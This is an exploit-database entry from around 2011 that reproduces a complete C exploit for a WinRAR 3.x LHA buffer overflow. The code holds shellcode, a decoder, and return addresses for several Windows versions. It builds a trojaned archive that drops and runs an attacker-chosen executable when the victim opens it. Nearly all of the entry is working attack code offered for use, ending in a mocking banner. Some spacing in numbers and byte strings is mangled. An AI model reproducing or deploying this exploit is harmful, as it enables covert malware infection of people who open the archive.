WinRAR 3. x-LZH Exploit-vulnerability warning-the black bar safety net

2011-06-19T00:00:00
ID MYHACK58:62201130936
Type myhack58
Reporter 佚名
Modified 2011-06-19T00:00:00

Description

|

/ ----------------------------------------------------------------------- lzh. c - WinRAR 3. x LHA Buffer Overflow Exploit Copyright (C) 2 0 0 6 XSec All Rights Reserved. Author : nop : nop#xsec.org : <http://www.xsec.org> : Tested : Windows 2 0 0 0 SP4 CN : Windows XP SP1/SP2 CN/EN : + WinRAR 3.42 : + WinRAR 3.51 : + WinRAR 3.60 beta6 : Complie : cl lzh. c : ------------------------------------------------------------------------ /

include <stdio. h>

include <stdlib. h>

include <windows. h>

//----------------------------------------- // Parameter is defined //-----------------------------------------

define BUFF_SIZE 1 0 2 4 0 0

define RET_OFFSET 0x14

define FILE_LEN 0xE6

define DIR_LEN 0x3FF-3

define LH_LEN 2 2

define LE_LEN 6

define LEE_LEN 2

define SC_LEN_OFFSET 1 0

define DC_LEN 2 6

define DATABASE 0x61

// 2 for 2 bytes unsigned char LHAHeader[] = "\xff\x00\x2d\x6c\x68\x30\x2d\x00\x00\x00\x00\x00\x00\x00\x00\x29" "\xb4\xf5\x34\x20\x01\xe6";

// 6 bytes unsigned char LHAExt[] = "\x00\x00\x4d\xff\x03\x02";

// 2 bytes unsigned char LHAExtEnd[] = "\x00\x00";

// 2 6 bytes Alpha Decode by nop (for WinRAR LHZ Trojan) unsigned char Decode[] = "\x8b\xf4\x83\xc6\x1a\x56\x5f\x91\x66\xb9\xff\x02\x66\xad\x66\x2d" "\x61\x61\xc0\xe0\x04\x02\xc4\xaa\xe2\xf2";

// 3 3 6 bytes Shellcode by nop (for WinRAR LHZ Trojan) unsigned char SC[] = "\xe9\x16\x01\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b" "\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x0b\x59\xe8\xb6\x00\x00\x00" "\xe2\xf9\x33\xdb\x89\x56\x3c\x83\x46\x3c\x04\x81\x7e\x3c\xff\xff" "\x00\x00\x0f\x8d\x9b\x00\x00\x00\x53\xff\x 76\x3c\xff\x56\x14\x3b" "\x46\x2c\x75\the XE3\x6a\x00\x6a\x00\xff\x 76\x30\xff\x 76\x3c\xff\x56" "\x20\xff\x 76\x34\x6a\x40\xff\x56\x28\x89\x46\x44\x6a\x00\x8d\x5e" "\x34\x53\xff\x 76\x34\x50\xff\x 76\x3c\xff\x56\x18\x8b\x4e\x34\x8a" "\x46\x38\x8b\x5e\x44\x4b\x30\x04\x0b\xe2\xfb\x83\xec\x50\x8b\xdc" "\x6a\x50\x53\xff\x56\x04\xc7\x04\x03\x5c\x61\x2e\x65\xc7\x44\x03" "\x04\x78\x65\x00\x00\x89\x5e\x48\x33\xc0\x50\x50\x6a\x02\x50\x50" "\x68\x00\x00\x00\xc0\xff\x 76\x48\xff\x56\x10\x83\xf8\x00\x7e\x23" "\x89\x46\x40\x6a\x00\x8d\x5e\x34\x53\xff\x 76\x34\xff\x 76\x44\xff" "\x 76\x40\xff\x56\x1c\xff\x 76\x40\xff\x56\x24\x8b\xdc\x6a\x00\x53" "\xff\x56\x08\xff\x56\x0c\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03" "\xf5\x56\x8b\x 76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb" "\x0f\xbe\x10\x3a\xd6\x74\x08\xc1\xcb\x0d\x03\xda\x40\xeb\xf1\x3b" "\x1f\x75\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c" "\x03\xdd\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\xe5\xfe\xff\xff" "\x8e\x4e\x0e\xec\xc1\x79\xe5\xb8\x98\xfe\x8a\x0e\xef\xce\xe0\x60" "\xa5\x17\x00\x7c\xad\x9b\x7d\xdf\x16\x65\xfa\x10\x1f\x79\x0a\xe8" "\xac\x08\xda\x 76\xfb\x97\xfd\x0f\xec\x97\x03\x0c";

//-------------------------------------------------------------------------------- // The target type list //-------------------------------------------------------------------------------- struct { DWORD dwJMP; char *szDescription; } targets[] = { //{0x77E424DA, "Debug"}, {0x7ffa4512, "CN 2K/XP/2K3 ALL"}, // jmp esp addr for all CN win2000/winxp/win2003 {0x7ffa24ce, "TW 2K/XP/2K3 ALL"}, // jmp esp addr for all TW win2000/winxp/win2003 {0x7ffa82a4, "KR 2K/XP/2K3 ALL"}, // call esp addr for all KR win2000/winxp/win2003 {0x7801F4FB, "ALL 2K SP3/SP4"}, // push esp,xx, ret (msvcrt.dll) for all win2000 SP3/SP4 {0x77C5BAFC, "EN XP SP0/SP1"}, // push esp,xx, ret (msvcrt.dll) for EN winxp SP0/SP1 {0x77C60AFC, "EN XP SP2"}, // push esp,xx, ret (msvcrt.dll) for EN winxp SP2 },v;

//-------------------------------------------------------------------------------- // Variable definition //-------------------------------------------------------------------------------- unsigned char RunSC[1 0 2 4] = {0}; unsigned char FilePath[0xFF] = {0}; unsigned char DirPath[0x3FF] = {0}; char AppFile = NULL; char ExeFile = NULL; char *outfile = "0day.zip"; BOOL bAppend = FALSE; int iType = 0; unsigned int Sc_len = 0; DWORD dwFileSize = 0; DWORD dwOffsetSize = 0; DWORD dwExeSize = 0; DWORD dwExeXor = 0; BYTE cExeXor = 0;

HANDLE hFile = INVALID_HANDLE_VALUE; HANDLE hAppend = INVALID_HANDLE_VALUE; char * pFile = NULL; char* pAppend = NULL;

//-------------------------------------------------------------------------------- // Initialize Rand //-------------------------------------------------------------------------------- void InitRandom() { //srand(GetTickCount()); srand((unsigned)time(NULL)); }

//-------------------------------------------------------------------------------- // Random function //-------------------------------------------------------------------------------- char RandomC() { DWORD dwRand; char cRand;

dwRand= rand(); cRand = dwRand%2 5 5+1;

return(cRand); }

//-------------------------------------------------------------------------------- // Random padding //-------------------------------------------------------------------------------- void RandFill(char *buf, int len) { int i;

for(i=0; i< len;i ++) { buf[i] = RandomC(); } }

//-------------------------------------------------------------------------------- // Random function //-------------------------------------------------------------------------------- DWORD Random(DWORD dwRange) { DWORD dwRand; DWORD dwRet;

dwRand = rand();

if(dwRange!= 0) dwRet = dwRand%dwRange; else dwRet=0;

return(dwRet); }

//-------------------------------------------------------------------------------- // Get function hash //-------------------------------------------------------------------------------- unsigned long hash(char *c) { unsigned long h=0;

while(*c) { __asm ror h, 1 3

h += *c++; }

return(h); }

//-------------------------------------------------------------------------------- // print shellcode //-------------------------------------------------------------------------------- void PrintSc(char lpBuff, int buffsize) { int i,j; char p; char msg[4];

for(i=0;i<buffsize;i++) { if((i%1 6)==0) { if(i!= 0) printf("\"\n\""); else printf("\""); }

sprintf(msg, "\\x%. 2X", lpBuff[i] & 0xff);

for( p = msg, j=0; j < 4; p++, j++ ) { if(isupper(p)) printf("%c", _tolower(p)); else printf("%c", p[0]); } } printf("\";\n"); }

//-------------------------------------------------------------------------------- // Alphabet coding //-------------------------------------------------------------------------------- void EncodeSc(unsigned char sc, int len, unsigned char dstbuf) {

int j; unsigned char temp;

for(j=0; j<len; j++) { temp=sc[j]; dstbuf[2j]=DATABASE+temp/0x10; dstbuf[2j+1]=DATABASE+temp%0x10; }

//dstbuf[2*j]=0x00; }

//-------------------------------------------------------------------------------- // Generate ShellCode //-------------------------------------------------------------------------------- void Make_ShellCode() { unsigned char sc[1 0 2 4] = {0}; unsigned int len = 0;

int i,j,k,l;

Sc_len = sizeof(SC)-1; memcpy(sc, SC, Sc_len);

// Add Size Var memcpy(sc+Sc_len, &dwFileSize, 4); memcpy(sc+Sc_len+4, &dwOffsetSize, 4); memcpy(sc+Sc_len+4+4, &dwExeSize, 4); memcpy(sc+Sc_len+4+4+4, &dwExeXor, 4); Sc_len += 1 6;

memcpy(&Decode[SC_LEN_OFFSET], &Sc_len, 2);

//printf("// %d bytes decode \r\n", strlen(Decode)); //PrintSc(Decode, DC_LEN);

memset(RunSC, 0, sizeof(RunSC)); memcpy(RunSC, sc, Sc_len);

//printf("// %d bytes shellcode \r\n", Sc_len); //PrintSc(RunSC, Sc_len); }

//-------------------------------------------------------------------------------- // Generate a file //-------------------------------------------------------------------------------- void PutFile(char *szFile) { DWORD dwBytes = 0; DWORD dwCount = 0; DWORD dwOffset = 0; int i= 0;

__try { hFile = CreateFile(szFile, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);

if(hFile == INVALID_HANDLE_VALUE) { printf("[-] Create file %s error!\ n", szFile); __leave; }

pFile = (char*)malloc(BUFF_SIZE); if(! pFile) { printf("[-] pFile malloc buffer error!\ n"); __leave; }

memset(pFile, 0, BUFF_SIZE);

//-------------------------------------------- // Append LHA File //-------------------------------------------- if(bAppend) { hAppend = CreateFile(AppFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

if(hAppend == INVALID_HANDLE_VALUE) { printf("[-] Open file %s error!\ n", AppFile); // __leave; exit(1);

}

dwFileSize = GetFileSize(hAppend, 0);

if(! dwFileSize) { printf("[-] Get AppendFile : %s size error!\ n", AppFile); __leave; }

printf("[+] Get AppendFile : %s (size:%d).\ n", AppFile, dwFileSize);

pAppend = (char *)malloc(dwFileSize); if(! pAppend) { printf("[-] pAppend malloc buff error!\ n"); __leave; } memset(pAppend, 0, dwFileSize);

if(! ReadFile(hAppend, pAppend, dwFileSize, &dwBytes, NULL)) { printf("[-] ReadFile error!\ n"); __leave; }

CloseHandle(hAppend); hAppend=INVALID_HANDLE_VALUE;

dwFileSize --;

WriteFile(hFile, pAppend, dwFileSize, &dwBytes, NULL); printf("[+] Write AppendData : %s (%d bytes)\n", szFile, dwFileSize);

free(pAppend);

}

hAppend = CreateFile(ExeFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

if(hAppend == INVALID_HANDLE_VALUE) { printf("[-] Open file %s error!\ n", ExeFile); //__leave; exit(1); }

dwExeSize = GetFileSize(hAppend, 0);

if(! dwExeSize) { printf("[-] Get AppendData : %s size error!\ n", ExeFile); __leave; }

printf("[+] Get ExeFile : %s (size:%d).\ n", ExeFile, dwExeSize);

pAppend = (char *)malloc(dwExeSize); if(! pAppend) { printf("[-] pAppend malloc buff error!\ n"); __leave; } memset(pAppend, 0, dwExeSize);

if(! ReadFile(hAppend, pAppend, dwExeSize, &dwBytes, NULL)) { printf("[-] ReadFile error!\ n"); __leave; }

cExeXor = RandomC(); dwExeXor = cExeXor; printf("[+] Exe Rand Xor Key : 0x%. 2x\n", cExeXor); for(i=0; i<dwExeSize; i++) { pAppend[i] ^= cExeXor; }

/* printf("hFile %lx, hAppend %lx\n", hFile, hAppend); for(i=0;i<6 5 5 3 5;i+=4) {

dwBytes = GetFileSize(i, 0); if(dwBytes != 0xFFFFFFFF) printf("%x %d\n", i, dwBytes); } */

CloseHandle(hAppend); hAppend=INVALID_HANDLE_VALUE;

//memcpy(DirPath, RunSC, Sc_len); printf("[+] Fill LHA & ShellCode ...\n");

// Put LHAHeader memcpy(pFile, LHAHeader, LH_LEN); dwCount += LH_LEN;

// Put FilePath (ret+nop) memset(&FilePath, '\x90', sizeof(FilePath));

//memcpy(&FilePath[RET_OFFSET], &RetAddr, 4); // JMP ESP memcpy(&FilePath[RET_OFFSET], &targets[iType]. dwJMP, 4); printf("[+] RET Addr : 0x%lx \n", targets[iType]. dwJMP);

//memcpy(&FilePath[RET_OFFSET+4], &Decode, DC_LEN); dwOffset = dwCount + RET_OFFSET + 4;

memcpy(pFile+dwCount, &FilePath, FILE_LEN); dwCount += FILE_LEN;

// Put LHAExtHeader memcpy(pFile+dwCount, &LHAExt, LE_LEN); dwCount += LE_LEN;

// Put DirPath (nop+ShellCode+nop) memset(&DirPath, '\x42', sizeof(DirPath));

dwOffsetSize = dwCount + DIR_LEN + LEE_LEN + dwFileSize; dwFileSize = dwOffsetSize + dwExeSize;

printf("[+] File Size : 0x%lx (%d) bytes\n", dwFileSize, dwFileSize); printf("[+] Offset Size : 0x%lx (%d) bytes\n", dwOffsetSize, dwOffsetSize); printf("[+] ExeFile Size : 0x%lx (%d) bytes\n", dwExeSize, dwExeSize);

printf("[+] Make Shellcode ...\n"); Make_ShellCode();

printf("[+] Encode Shellcode ...\n"); EncodeSc(RunSC, Sc_len, DirPath);

memcpy(pFile+dwOffset, &Decode, DC_LEN);

memcpy(pFile+dwCount, &DirPath, DIR_LEN); //memcpy(pFile+dwCount, "ABCDEFGHIJKLMNOP", 1 6); dwCount += DIR_LEN;

memcpy(pFile+dwCount, &LHAExtEnd, LEE_LEN); dwCount += LEE_LEN;

WriteFile(hFile, pFile, dwCount, &dwBytes, NULL); printf("[+] Write LHAData : %s (%d bytes)\n", szFile, dwCount);

WriteFile(hFile, pAppend, dwExeSize, &dwBytes, NULL); printf("[+] Write ExeData : %s (%d bytes)\n", szFile, dwExeSize);

dwFileSize = GetFileSize(hFile, 0); printf("[+] FileSize : %d bytes\n", dwFileSize); printf("[+] All Done! Have fun!\ n"); }

__finally { if(hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile);

if(hAppend != INVALID_HANDLE_VALUE) CloseHandle(hAppend);

if(pFile) free(pFile);

if(pAppend) free(pAppend); } }

//-------------------------------------------------------------------------------- // Test whether the value of the //-------------------------------------------------------------------------------- int TestIfIsValue(char *str) { if(str == NULL ) return(0); if(str[0]=='-') return(0); if(str[0]=='/') return(0); return(1); }

//-------------------------------------------------------------------------------- // Print the destination type list //-------------------------------------------------------------------------------- void showtype() { int i;

printf( "[Type]:\n"); for(i=0;i<sizeof(targets)/sizeof(v);i++) { printf("\t%d\t0x%x\t%s\n", i, targets[i]. dwJMP, targets[i]. szDescription); } printf("\n"); }

//-------------------------------------------------------------------------------- // Print the help information //-------------------------------------------------------------------------------- void usage(char *p) { printf( "[Usage:]\n" "%s [Options] <ExeFile>\n\n" "[Options:]\n" "/a <LHZFile> Append LHZ(lha)File\n" "/o <outfile> Output file name, default is %s\n" "/t <OSType> Target Type, default is 0\n\n", p, outfile);

showtype(); }

//-------------------------------------------------------------------------------- // Main function //-------------------------------------------------------------------------------- void main(int argc, char *argv) { char url = NULL; int i = 0;

printf("WinRAR 3. x LHA Buffer Overflow Exploit (Fucking 0day!!!)\ n"); printf("Code by nop nop#xsec.org, Welcome to <http://www.xsec.org>\n\n");

InitRandom();

if(argc < 2) { usage(argv[0]); return; }

for(i=1; i<argc-1; i++) { switch(argv[i][1]) { case 'a': if(i < argc-1 && TestIfIsValue(argv[i+1])) { AppFile = argv[i+1]; bAppend = TRUE; } else { usage(argv[0]); return; } i++; break; case 'o': if(i < argc-1 && TestIfIsValue(argv[i+1])) { outfile = argv[i+1]; } else { usage(argv[0]); return; } i++; break; case 't': if(i < argc-1 && TestIfIsValue(argv[i+1])) { iType = atoi(argv[i+1]); } else { usage(argv[0]); return; } i++; break; } }

ExeFile = argv[i];

if((iType<0) || (iType>=sizeof(targets)/sizeof(v))) { usage(argv[0]); printf("[-] Invalid type.\ n"); return; }

PutFile(outfile); }